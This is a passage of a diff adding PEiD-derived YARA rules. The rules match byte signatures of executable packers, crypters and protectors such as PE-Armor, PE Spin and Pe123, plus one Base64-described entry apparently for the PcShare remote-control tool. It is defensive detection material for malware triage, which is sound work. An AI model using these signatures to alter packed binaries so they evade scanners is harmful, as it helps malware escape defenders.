+        $a = {FC 55 50 E8 00 00 00 00 5D EB 01}
+    condition:
+        $a
+}
+
+rule PEiD_01477_PC_Guard_v5_00d_
+{
+    meta:
+        description = "[PC-Guard v5.00d]"
+        ep_only = "true"
+    strings:
+        $a = {FC 55 50 E8 00 00 00 00 5D 60 E8 03 00 00 00 83 EB 0E EB 01 0C 58 EB 01 35 40 EB 01 36 FF E0 0B 61 B8 30 D2 40 00 EB 01 E3 60 E8 03 00 00 00 D2 EB 0B 58 EB 01 48 40 EB 01 35 FF E0 E7 61 2B E8 9C EB 01 D5 9D EB 01 0B 58 60 E8 03 00 00 00 83 EB 0E EB 01 0C 58 EB 01 35 40 EB 01 36 FF E0 0B 61 89 85 E1 EA 41 00 9C EB 01 D5 9D EB 01 0B 58 EB 01 E3 60 E8 03 00 00 00 D2 EB 0B 58 EB 01 48 40 EB 01 35 FF E0 E7 61 89 85 F9 EA 41 00 9C EB 01 D5 9D EB 01 0B 89 9D E5 EA 41 00 60 E8 03 00 00 00 83 EB 0E EB 01 0C 58 EB 01 35 40 EB 01 36 FF E0 0B 61 89 8D E9 EA 41 00 EB 01 E3 60 E8 03 00 00 00 D2 EB 0B 58 EB 01 48 40 EB 01 35 FF E0 E7 61 89 95 ED EA 41 00 60 E8 03 00 00 00 83 EB 0E EB 01 0C 58 EB 01 35 40 EB 01 36 FF E0 0B 61 89 B5 F1 EA 41 00 9C EB 01 D5 9D EB 01 0B 89}
+    condition:
+        $a
+}
+
+rule PEiD_01478_PCIENC_Cryptor_
+{
+    meta:
+        description = "[PCIENC Cryptor]"
+        ep_only = "false"
+    strings:
+        $a = {06 50 43 49 45 4E}
+    condition:
+        $a
+}
+rule PEiD_01479_PCPEC__alpha___preview__
+{
+    meta:
+        description = "[PCPEC \"alpha - preview\"]"
+        ep_only = "true"
+    strings:
+        $a = {53 51 52 56 57 55 E8 00 00 00 00 5D 8B CD 81 ED 33 30 40 00}
+    condition:
+        $a
+}
+rule PEiD_01480_PCPEC__alpha__
+{
+    meta:
+        description = "[PCPEC [alpha]]"
+        ep_only = "true"
+    strings:
+        $a = {53 51 52 56 57 55 E8 ?? ?? ?? ?? 5D 8B CD 81 ?? ?? ?? ?? ?? 2B ?? ?? ?? ?? ?? 83}
+    condition:
+        $a
+}
+
+rule PEiD_01481_PCrypt_v3_51_
+{
+    meta:
+        description = "[PCrypt v3.51]"
+        ep_only = "true"
+    strings:
+        $a = {50 43 52 59 50 54 FF 76 33 2E 35 31 00 E9}
+    condition:
+        $a
+}
+
+rule PEiD_01482_PcShare____________v4_0_____________
+{
+    meta:
+        description = "[Convert Base64 to ASCII UGNTaGFyZSDDjsOEwrzDvsOAwqbCsMOzw4bDtyB2NC4wIC0+IMOOw57Cv8OJwrfDh8OSw6k=]"
+        ep_only = "true"
+    strings:
+        $a = {55 8B EC 6A FF 68 90 34 40 00 68 B6 28 40 00 64 A1}
+    condition:
+        $a
+}
+
+
+rule PEiD_01483_PCShrink_0_71_beta_
+{
+    meta:
+        description = "[PCShrink 0.71 beta]"
+        ep_only = "true"
+    strings:
+        $a = {01 AD 54 3A 40 00 FF B5 50 3A 40 00 6A 40 FF 95 88 3A 40 00}
+    condition:
+        $a
+}
+rule PEiD_01484_PCShrink_v0_40b_
+{
+    meta:
+        description = "[PCShrink v0.40b]"
+        ep_only = "true"
+    strings:
+        $a = {9C 60 BD ?? ?? ?? ?? 01 ?? ?? ?? ?? ?? FF ?? ?? ?? ?? ?? 6A ?? FF ?? ?? ?? ?? ?? 50 50 2D}
+    condition:
+        $a
+}
+rule PEiD_01485_PDS_graphics_file_format_
+{
+    meta:
+        description = "[PDS graphics file format]"
+        ep_only = "false"
+    strings:
+        $a = {49 4D 41 47 45 49 44 45 4E 54 49 46 49 45 52 20}
+    condition:
+        $a
+}
+
+rule PEiD_01486_PE_Crypt_v1_00_v1_01_
+{
+    meta:
+        description = "[PE Crypt v1.00/v1.01]"
+        ep_only = "true"
+    strings:
+        $a = {E8 ?? ?? ?? ?? 5B 83 EB 05 EB 04 52 4E 44 21 EB 02 CD 20 EB}
+    condition:
+        $a
+}
+
+rule PEiD_01487_PE_Crypt_v1_02_
+{
+    meta:
+        description = "[PE Crypt v1.02]"
+        ep_only = "false"
+    strings:
+        $a = {E8 ?? ?? ?? ?? 5B 83 EB 05 EB 04 52 4E 44}
+    condition:
+        $a
+}
+
+rule PEiD_01488_PE_Crypt32__Console_v1_0__v1_01__v1_02__
+{
+    meta:
+        description = "[PE Crypt32 (Console v1.0, v1.01, v1.02)]"
+        ep_only = "true"
+    strings:
+        $a = {E8 00 00 00 00 5B 83 EB 05 EB 04 52 4E 44 21 EB 02 CD 20 EB}
+    condition:
+        $a
+}
+
+rule PEiD_01489_PE_Crypt32_v1_02_
+{
+    meta:
+        description = "[PE Crypt32 v1.02]"
+        ep_only = "true"
+    strings:
+        $a = {E8 00 00 00 00 5B 83 ?? ?? EB ?? 52 4E 44 21}
+    condition:
+        $a
+}
+
+rule PEiD_01490_PE_Diminisher_V0_1____Teraphy_
+{
+    meta:
+        description = "[PE Diminisher V0.1 -> Teraphy]"
+        ep_only = "true"
+    strings:
+        $a = {53 51 52 56 57 55 E8 00 00 00 00}
+    condition:
+        $a
+}
+
+rule PEiD_01491_PE_Diminisher_v0_1____Teraphy_
+{
+    meta:
+        description = "[PE Diminisher v0.1 -> Teraphy]"
+        ep_only = "true"
+    strings:
+        $a = {53 51 52 56 57 55 E8 00 00 00 00 5D 8B D5 81 ED A2 30 40 00 2B 95 91 33 40 00 81 EA 0B 00 00 00 89 95 9A 33 40 00 80 BD 99 33 40 00 00 74 50 E8 02 01 00 00 8B FD 8D 9D 9A 33 40 00 8B 1B 8D 87}
+    condition:
+        $a
+}
+
+rule PEiD_01492_PE_Diminisher_v0_1_
+{
+    meta:
+        description = "[PE Diminisher v0.1]"
+        ep_only = "true"
+    strings:
+        $a = {53 51 52 56 57 55 E8 00 00 00 00 5D 8B D5 81 ED A2 30 40 00 2B 95 91 33 40 00 81 EA 0B 00 00 00 89 95 9A 33 40 00 80 BD 99 33 40 00 00 74}
+    condition:
+        $a
+}
+
+rule PEiD_01493_PE_Diminisher_v0_1_
+{
+    meta:
+        description = "[PE Diminisher v0.1]"
+        ep_only = "true"
+    strings:
+        $a = {5D 8B D5 81 ED A2 30 40 ?? 2B 95 91 33 40 ?? 81 EA 0B ?? ?? ?? 89 95 9A 33 40 ?? 80 BD 99}
+    condition:
+        $a
+}
+
+rule PEiD_01494_PE_Encrypt_1_0____Liwuyue_
+{
+    meta:
+        description = "[PE Encrypt 1.0 -> Liwuyue]"
+        ep_only = "true"
+    strings:
+        $a = {55 8B EC 83 C4 D0 53 56 57 8D 75 FC 8B 44 24 30 25 00 00 FF FF 81 38 4D 5A 90 00 74 07 2D 00 10 00 00 EB F1 89 45 FC E8 C8 FF FF FF 2D 0F 05 00 00 89 45 F4 8B 06 8B 40 3C 03 06 8B 40 78 03 06 8B C8 8B 51 20 03 16 8B 59 24 03 1E 89 5D F0 8B 59 1C 03 1E 89 5D EC 8B 41 18 8B C8 49 85 C9 72 5A 41 33 C0 8B D8 C1 E3 02 03 DA 8B 3B 03 3E 81 3F 47 65 74 50 75 40 8B DF 83 C3 04 81 3B 72 6F 63 41 75 33 8B DF 83 C3 08 81 3B 64 64 72 65 75 26 83 C7 0C 66 81 3F 73 73}
+    condition:
+        $a
+}
+rule PEiD_01495_PE_Intro_v1_0_
+{
+    meta:
+        description = "[PE Intro v1.0]"
+        ep_only = "true"
+    strings:
+        $a = {8B 04 24 9C 60 E8 ?? ?? ?? ?? 5D 81 ED 0A 45 40 ?? 80 BD 67 44 40 ?? ?? 0F 85 48}
+    condition:
+        $a
+}
+
+rule PEiD_01496_PE_Lock_NT_v2_01_
+{
+    meta:
+        description = "[PE Lock NT v2.01]"
+        ep_only = "true"
+    strings:
+        $a = {EB 03 CD 20 EB EB 01 EB 1E EB 01 EB EB 02 CD 20 9C EB 03 CD}
+    condition:
+        $a
+}
+
+rule PEiD_01497_PE_Lock_NT_v2_02c_
+{
+    meta:
+        description = "[PE Lock NT v2.02c]"
+        ep_only = "true"
+    strings:
+        $a = {EB 02 C7 85 1E EB 03 CD 20 EB EB 01 EB 9C EB 01 EB EB 02 CD}
+    condition:
+        $a
+}
+
+rule PEiD_01498_PE_Lock_NT_v2_03_
+{
+    meta:
+        description = "[PE Lock NT v2.03]"
+        ep_only = "true"
+    strings:
+        $a = {EB 02 C7 85 1E EB 03 CD 20 C7 9C EB 02 69 B1 60 EB 02 EB 01}
+    condition:
+        $a
+}
+
+rule PEiD_01499_PE_Lock_NT_v2_04_
+{
+    meta:
+        description = "[PE Lock NT v2.04]"
+        ep_only = "true"
+    strings:
+        $a = {EB ?? CD ?? ?? ?? ?? ?? CD ?? ?? ?? ?? ?? EB ?? EB ?? EB ?? EB ?? CD ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? E9 ?? ?? ?? ?? 50 C3}
+    condition:
+        $a
+}
+
+rule PEiD_01500_PE_Lock_v1_06_
+{
+    meta:
+        description = "[PE Lock v1.06]"
+        ep_only = "true"
+    strings:
+        $a = {00 00 00 00 00 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 4C 6F 61 64 4C 69 62 72 61 72 79 41 00 00 56 69 72 74 75 61 6C 41 6C 6C 6F 63 00 4B 45}
+    condition:
+        $a
+}
+
+rule PEiD_01501_Pe_Ninja_____DzA_kRAker__TNT_
+{
+    meta:
+        description = "[Pe Ninja -> +DzA kRAker [TNT]"
+        ep_only = "true"
+    strings:
+        $a = {BE 5B 2A 40 00 BF 35 12 00 00 E8 40 12 00 00 3D 22 83 A3 C6 0F 85 67 0F 00 00 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90}
+    condition:
+        $a
+}
+rule PEiD_01502_Pe_Ninja_____DzA_kRAker__TNT__
+{
+    meta:
+        description = "[Pe Ninja -> +DzA kRAker [TNT]]"
+        ep_only = "true"
+    strings:
+        $a = {BE 5B 2A 40 00 BF 35 12 00 00 E8 40 12 00 00 3D 22 83 A3 C6 0F 85 67 0F 00 00 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90}
+    condition:
+        $a
+}
+
+rule PEiD_01503_PE_Ninja_v1_0_____DzA_kRAker_TNT_
+{
+    meta:
+        description = "[PE Ninja v1.0 -> +DzA kRAker TNT]"
+        ep_only = "true"
+    strings:
+        $a = {BE 5B 2A 40 00 BF 35 12 00 00 E8 40 12 00 00 3D 22 83 A3 C6 0F 85 67 0F 00 00 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90}
+    condition:
+        $a
+}
+
+rule PEiD_01504_PE_Pack_v0_99_
+{
+    meta:
+        description = "[PE Pack v0.99]"
+        ep_only = "true"
+    strings:
+        $a = {60 E8 ?? ?? ?? ?? 5D 83 ED 06 80 BD E0 04 ?? ?? 01 0F 84 F2}
+    condition:
+        $a
+}
+
+rule PEiD_01505_PE_Packer_
+{
+    meta:
+        description = "[PE Packer]"
+        ep_only = "true"
+    strings:
+        $a = {FC 8B 35 70 01 40 ?? 83 EE 40 6A 40 68 ?? 30 10}
+    condition:
+        $a
+}
+
+rule PEiD_01506_PE_Password_v0_2_SMT_SMF_
+{
+    meta:
+        description = "[PE Password v0.2 SMT/SMF]"
+        ep_only = "true"
+    strings:
+        $a = {E8 04 ?? ?? ?? 8B EC 5D C3 33 C0 5D 8B FD 81 ED 33 26 40 ?? 81 EF ?? ?? ?? ?? 83 EF 05 89 AD 88 27 40 ?? 8D 9D 07 29 40 ?? 8D B5 62 28 40 ?? 46 80}
+    condition:
+        $a
+}
+
+rule PEiD_01507_PE_Protect_0_9_
+{
+    meta:
+        description = "[PE Protect 0.9]"
+        ep_only = "false"
+    strings:
+        $a = {E9 ?? 00 00 00 0D 0A 0D 0A C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 0D 0A 50 45 2D 50 52 4F 54 45 43 54 20 30 2E 39 20 28 43 29 6F}
+    condition:
+        $a
+}
+
+rule PEiD_01508_PE_Protect_v0_9_
+{
+    meta:
+        description = "[PE Protect v0.9]"
+        ep_only = "true"
+    strings:
+        $a = {52 51 55 57 64 67 A1 30 00 85 C0 78 0D E8 ?? ?? ?? ?? 58 83 C0 07 C6 ?? C3}
+    condition:
+        $a
+}
+
+rule PEiD_01509_PE_Protector_0_9_3____CRYPToCRACk_
+{
+    meta:
+        description = "[PE Protector 0.9.3 -> CRYPToCRACk]"
+        ep_only = "true"
+    strings:
+        $a = {5B 81 E3 00 FF FF FF 66 81 3B 4D 5A 75 33 8B F3 03 73 3C 81 3E 50 45 00 00 75 26 0F B7 46 18 8B C8 69 C0 AD 0B 00 00 F7 E0 2D AB 5D 41 4B 69 C9 DE C0 00 00 03 C1 75 09 83 EC 04 0F 85 DD 00 00}
+    condition:
+        $a
+}
+
+rule PEiD_01510_PE_Spin_0_b_
+{
+    meta:
+        description = "[PE Spin 0.b]"
+        ep_only = "false"
+    strings:
+        $a = {EB 01 68 60 E8 00 00 00 00 8B 1C 24 83 C3 12 81 2B E8 B1 06 00 FE 4B FD 82 2C 24 72 C8 46 00 0B E4 74 9E 75 01 C7 81 73 04 D7 7A F7 2F 81 73 19 77 00 43 B7 F6 C3 6B B7 00 00 F9 FF E3 C9 C2 08 00 A3 68 72 01 FF 5D 33 C9 41 E2 26 E8 01 00 00 00 EA 5A 33 C9}
+    condition:
+        $a
+}
+
+rule PEiD_01511_PE_Spin_v0_4x_
+{
+    meta:
+        description = "[PE Spin v0.4x]"
+        ep_only = "false"
+    strings:
+        $a = {EB 01 68 60 E8 00 00 00 00 8B}
+    condition:
+        $a
+}
+
+rule PEiD_01512_PE_Spin_v0_b_
+{
+    meta:
+        description = "[PE Spin v0.b]"
+        ep_only = "true"
+    strings:
+        $a = {EB 01 68 60 E8 00 00 00 00 8B 1C 24 83 C3 12 81 2B E8 B1 06 00 FE 4B FD 82 2C 24 72 C8 46 00 0B E4 74 9E 75 01 C7 81 73 04 D7 7A F7 2F 81 73 19 77 00 43 B7 F6 C3 6B B7 00 00 F9 FF E3 C9 C2 08 00 A3 68 72 01 FF 5D 33 C9 41 E2 26 E8 01 00 00 00 EA 5A 33 C9 8B 95 68 20 40 00 8B 42 3C 03 C2 89 85 76 20 40 00 41 C1 E1 07 8B 0C 01 03 CA 8B 59 10 03 DA 8B 1B 89 9D 8A 20 40 00 8B 59 24 03 DA 8B 1B 89 9D 8E 20 40 00 53 8F 85 E2 1F 40 00 8D 85 92 20 40 00 6A 0C 5B 6A 17 59 30 0C 03 02 CB 4B 75 F8 40 8D 9D 41 8F 4E 00 50 53 81 2C 24 01 78 0E 00 FF B5 8A 20 40 00 C3 92 EB 15 68 BB ?? 00 00 00 B9 90 08 00 00 8D BD FF 20 40 00 4F 30 1C 39 FE CB E2 F9 68 1D 01 00 00 59 8D BD 2F 28 40 00 C0 0C 39 02 E2 FA 68 A0 20 40 00 50 01 6C 24 04 E8 BD 09 00 00 33 C0 0F 84 C0 08 00}
+    condition:
+        $a
+}
+
+rule PEiD_01513_PE_Armor_0_46____China_Cracking_Group_
+{
+    meta:
+        description = "[PE-Armor 0.46 -> China Cracking Group]"
+        ep_only = "true"
+    strings:
+        $a = {E8 AA 00 00 00 2D ?? ?? 00 00 00 00 00 00 00 00 00 3D ?? ?? 00 2D ?? ?? 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 4B ?? ?? 00 5C ?? ?? 00 6F ?? ?? 00 00 00 00 00 4B 45 52 4E 45 4C 33 32 2E 64 6C 6C 00 00 00 00 47 65 74 50 72 6F 63 41}
+    condition:
+        $a
+}
+
+rule PEiD_01514_PE_Armor_0_46____China_Cracking_Group_
+{
+    meta:
+        description = "[PE-Armor 0.46 -> China Cracking Group]"
+        ep_only = "true"
+    strings:
+        $a = {E8 AA 00 00 00 2D ?? ?? 00 00 00 00 00 00 00 00 00 3D ?? ?? 00 2D ?? ?? 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 4B ?? ?? 00 5C ?? ?? 00 6F ?? ?? 00 00 00 00 00 4B 45 52 4E 45 4C 33 32 2E 64 6C 6C 00 00 00 00 47 65 74 50 72 6F 63 41 64 64 72 65 73 73 00 00 00 47 65 74 4D 6F 64 75 6C 65 48 61 6E 64 6C 65 41 00 00 00 4C 6F 61 64 4C 69 62 72 61 72 79 41 00 A2 01 00 00 ?? ?? 00 00 56 69 72 74 75 61 6C 41 6C 6C 6F 63 00 00 00 00 00 00 ?? ?? 00 ?? ?? ?? 00 ?? ?? ?? 00 ?? ?? ?? 00 00 00 00 00 00 00 00 00 5D 81 ED 05 00 00 00 8D 75 3D 56 FF 55 31 8D B5 86 00 00 00 56 50 FF 55 2D 89 85 93 00 00 00 6A 04 68 00 10 00 00 FF B5 82 00 00 00 6A 00 FF 95 93 00 00 00 50 8B 9D 7E 00 00 00 03 DD 50 53 E8 04 00 00 00 5A 55 FF E2 60 8B 74 24 24 8B 7C 24 28 FC}
+    condition:
+        $a
+}
+
+rule PEiD_01515_PE_Armor_0_46____Hying_
+{
+    meta:
+        description = "[PE-Armor 0.46 -> Hying]"
+        ep_only = "true"
+    strings:
+        $a = {E8 AA 00 00 00 2D ?? ?? 00 00 00 00 00 00 00 00 00 3D ?? ?? 00 2D ?? ?? 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 4B ?? ?? 00 5C ?? ?? 00 6F ?? ?? 00 00 00 00 00 4B 45 52 4E 45 4C 33 32 2E 64 6C 6C 00 00 00 00 47 65 74 50 72 6F 63 41 64 64 72 65 73 73 00 00 00 47 65 74 4D 6F 64 75 6C 65 48 61 6E 64 6C 65 41 00 00 00 4C 6F 61 64 4C 69 62 72 61 72 79 41}
+    condition:
+        $a
+}
+
+rule PEiD_01516_PE_Armor_0_460_0_759____hying_
+{
+    meta:
+        description = "[PE-Armor 0.460-0.759 -> hying]"
+        ep_only = "true"
+    strings:
+        $a = {00 00 00 00 00 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 4B 45 52 4E 45 4C 33 32 2E 64 6C 6C 00 00 00 00 47 65 74 50 72 6F 63 41 64 64 72 65 73 73 00 00 00}
+    condition:
+        $a
+}
+
+rule PEiD_01517_PE_Armor_0_460_0_759____hying_
+{
+    meta:
+        description = "[PE-Armor 0.460-0.759 -> hying]"
+        ep_only = "false"
+    strings:
+        $a = {00 00 00 00 00 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 4B 45 52 4E 45 4C 33 32 2E 64 6C 6C 00 00 00 00 47 65 74 50 72 6F 63 41 64 64 72 65 73 73 00 00 00 47 65 74 4D 6F 64 75 6C 65 48 61 6E 64 6C 65 41 00 00 00 4C 6F 61 64 4C 69 62 72 61 72 79 41 00}
+    condition:
+        $a
+}
+
+rule PEiD_01518_PE_Armor_0_49____Hying_
+{
+    meta:
+        description = "[PE-Armor 0.49 -> Hying]"
+        ep_only = "true"
+    strings:
+        $a = {56 52 51 53 55 E8 15 01 00 00 32 ?? ?? 00 00 00 00 00}
+    condition:
+        $a
+}
+
+rule PEiD_01519_PE_Armor_0_760_0_765____hying_
+{
+    meta:
+        description = "[PE-Armor 0.760-0.765 -> hying]"
+        ep_only = "false"
+    strings:
+        $a = {00 00 00 00 00 00 00 00 ?? ?? ?? ?? 00 00 00 00 00 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 4B 45 52 4E 45 4C 33 32 2E 64 6C 6C 00 00 00 00 47 65 74 50 72 6F 63 41 64 64 72 65 73 73 00 00 00 4C 6F 61 64 4C 69 62 72 61 72 79 41 00 00 00 47 65 74 4D 6F 64 75 6C 65 48 61 6E 64 6C 65 41 00 00 00 00 00 08 00 00 00 00 00 00 00 60 E8 00 00 00 00}
+    condition:
+        $a
+}
+
+rule PEiD_01520_PE_Armor_V0_760_V0_765____hying_
+{
+    meta:
+        description = "[PE-Armor V0.760-V0.765 -> hying]"
+        ep_only = "true"
+    strings:
+        $a = {00 00 00 00 00 00 00 00 ?? ?? ?? ?? 00 00 00 00 00 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 4B 45 52 4E 45 4C 33 32 2E 64 6C 6C 00 00 00 00 47 65 74 50 72}
+    condition:
+        $a
+}
+
+rule PEiD_01521_PE_Crypt_1_02_
+{
+    meta:
+        description = "[PE-Crypt 1.02]"
+        ep_only = "true"
+    strings:
+        $a = {E8 00 00 00 00 5B 83 EB 05 EB 04 52 4E 44 21 85 C0 73 02 F7}
+    condition:
+        $a
+}
+
+rule PEiD_01522_PE_Crypter_
+{
+    meta:
+        description = "[PE-Crypter]"
+        ep_only = "true"
+    strings:
+        $a = {60 E8 00 00 00 00 5D EB 26}
+    condition:
+        $a
+}
+
+rule PEiD_01523_PE_PACK_0_99_
+{
+    meta:
+        description = "[PE-PACK 0.99]"
+        ep_only = "true"
+    strings:
+        $a = {60 E8 00 00 00 00 5D 83 ED 06 80 BD E0 04 00 00 01 0F 84 F2}
+    condition:
+        $a
+}
+
+rule PEiD_01524_PE_PaCK_1_0_____C__Copyright_1998_by_ANAKiN__h__
+{
+    meta:
+        description = "[PE-PaCK 1.0 -> (C) Copyright 1998 by ANAKiN (h)]"
+        ep_only = "false"
+    strings:
+        $a = {C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 0D 0A 20 2D 3D FE 20 50 45 2D 50 41 43 4B 20 76 31 2E 30 20 2D FE 2D 20 28 43 29 20 43 6F 70}
+    condition:
+        $a
+}
+
+rule PEiD_01525_PE_PaCK_v1_0_____C__Copyright_1998_by_ANAKiN__h__
+{
+    meta:
+        description = "[PE-PaCK v1.0 -> (C) Copyright 1998 by ANAKiN (h)]"
+        ep_only = "false"
+    strings:
+        $a = {C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 0D 0A 20 2D 3D FE 20 50 45 2D 50 41 43 4B 20 76 31 2E 30 20 2D FE 2D 20 28 43 29 20 43 6F 70 79 72 69 67 68 74 20 31 39 39 38 20 62 79 20 41 4E 41 4B 69 4E 20 FE 3D 2D 20 0D 0A C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4}
+    condition:
+        $a
+}
+
+rule PEiD_01526_PE_PACK_v1_0_by_ANAKiN_1998_______
+{
+    meta:
+        description = "[PE-PACK v1.0 by ANAKiN 1998 (???)]"
+        ep_only = "true"
+    strings:
+        $a = {74 ?? E9 ?? ?? ?? ?? 00 00 00 00}
+    condition:
+        $a
+}
+
+
+rule PEiD_01527_PE_Protect_0_9_by_Cristoph_Gabler_1998_
+{
+    meta:
+        description = "[PE-Protect 0.9 by Cristoph Gabler 1998]"
+        ep_only = "false"
+    strings:
+        $a = {50 45 2D 50 52 4F 54 45 43 54 20 30 2E 39}
+    condition:
+        $a
+}
+
+rule PEiD_01528_PE_PROTECT_0_9_
+{
+    meta:
+        description = "[PE-PROTECT 0.9]"
+        ep_only = "true"
+    strings:
+        $a = {E9 CF 00 00 00 0D 0A 0D 0A C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4}
+    condition:
+        $a
+}
+
+rule PEiD_01529_PE_SHiELD_0_2_
+{
+    meta:
+        description = "[PE-SHiELD 0.2]"
+        ep_only = "true"
+    strings:
+        $a = {60 E8 00 00 00 00 41 4E 41 4B 49 4E 5D 83 ED 06 EB 02 EA 04}
+    condition:
+        $a
+}
+
+rule PEiD_01530_Pe123_2006_4_12_
+{
+    meta:
+        description = "[Pe123 2006.4.12]"
+        ep_only = "false"
+    strings:
+        $a = {8B C0 60 9C E8 01 00 00 00 C3 53 E8 72 00 00 00 50 E8 1C 03 00 00 8B D8 FF D3 5B C3 8B C0 E8 00 00 00 00 58 83 C0 05 C3 8B C0 55 8B EC 60 8B 4D 10 8B 7D 0C 8B 75 08 F3 A4 61 5D C2 0C 00 E8 00 00 00 00 58 83 E8 05 C3 8B C0 E8 00 00 00 00 58 83 C0 05 C3 8B}
+    condition:
+        $a
+}
+rule PEiD_01531_Pe123_2006_4_4_
+{
+    meta:
+        description = "[Pe123 2006.4.4]"
+        ep_only = "false"
+    strings:
+        $a = {8B C0 EB 01 34 60 EB 01 2A 9C EB 02 EA C8 E8 0F 00 00 00 EB 03 3D 23 23 EB 01 4A EB 01 5B C3 8D 40 00 53 EB 01 6C EB 01 7E EB 01 8F E8 15 01 00 00 50 E8 67 04 00 00 EB 01 9A 8B D8 FF D3 5B C3 8B C0 E8 00 00 00 00 58 83 C0 05 C3 8B C0 55 8B EC 60 8B 4D 10}
+    condition:
+        $a
+}
+
+rule PEiD_01532_Pe123_v2006_4_12_
+{
+    meta:
+        description = "[Pe123 v2006.4.12]"
+        ep_only = "true"
+    strings:
+        $a = {8B C0 60 9C E8 01 00 00 00 C3 53 E8 72 00 00 00 50 E8 1C 03 00 00 8B D8 FF D3 5B C3 8B C0 E8 00 00 00 00 58 83 C0 05 C3 8B C0 55 8B EC 60 8B 4D 10 8B 7D 0C 8B 75 08 F3 A4 61 5D C2 0C 00 E8 00 00 00 00 58 83 E8 05 C3 8B C0 E8 00 00 00 00 58 83 C0 05 C3 8B C0 E8 00 00 00 00 58 C1 E8 0C C1 E0 0C 66 81 38 4D 5A 74 0C 2D 00 10 00 00 66 81 38 4D 5A 75 F4 C3 E8 00 00 00 00 58 83 E8 05 C3 8B C0 55 8B EC 81 C4 4C FE FF FF 53 6A 40 8D 85 44 FF FF FF 50 E8 BC FF FF FF 50 E8 8A FF FF FF 68 F8 00 00 00 8D 85 4C FE FF FF 50 E8 A5 FF FF FF 03 45 80 50 E8 70 FF FF FF E8 97 FF FF FF 03 85 CC FE FF FF 83 C0 34 89 45 FC E8 86 FF FF FF 03 85 CC FE FF FF 83 C0 38 89 45 8C 60 8B 45 FC 8B 00 89 45 F8 89 45 9C 8B 45 8C 8B 00 89 45 88 89 45 98 E8 0D 00 00 00 6B 65 72 6E 65 6C 33}
+    condition:
+        $a
+}
+
+rule PEiD_01533_Pe123_v2006_4_4_
+{
+    meta:
+        description = "[Pe123 v2006.4.4]"
+        ep_only = "true"
+    strings:
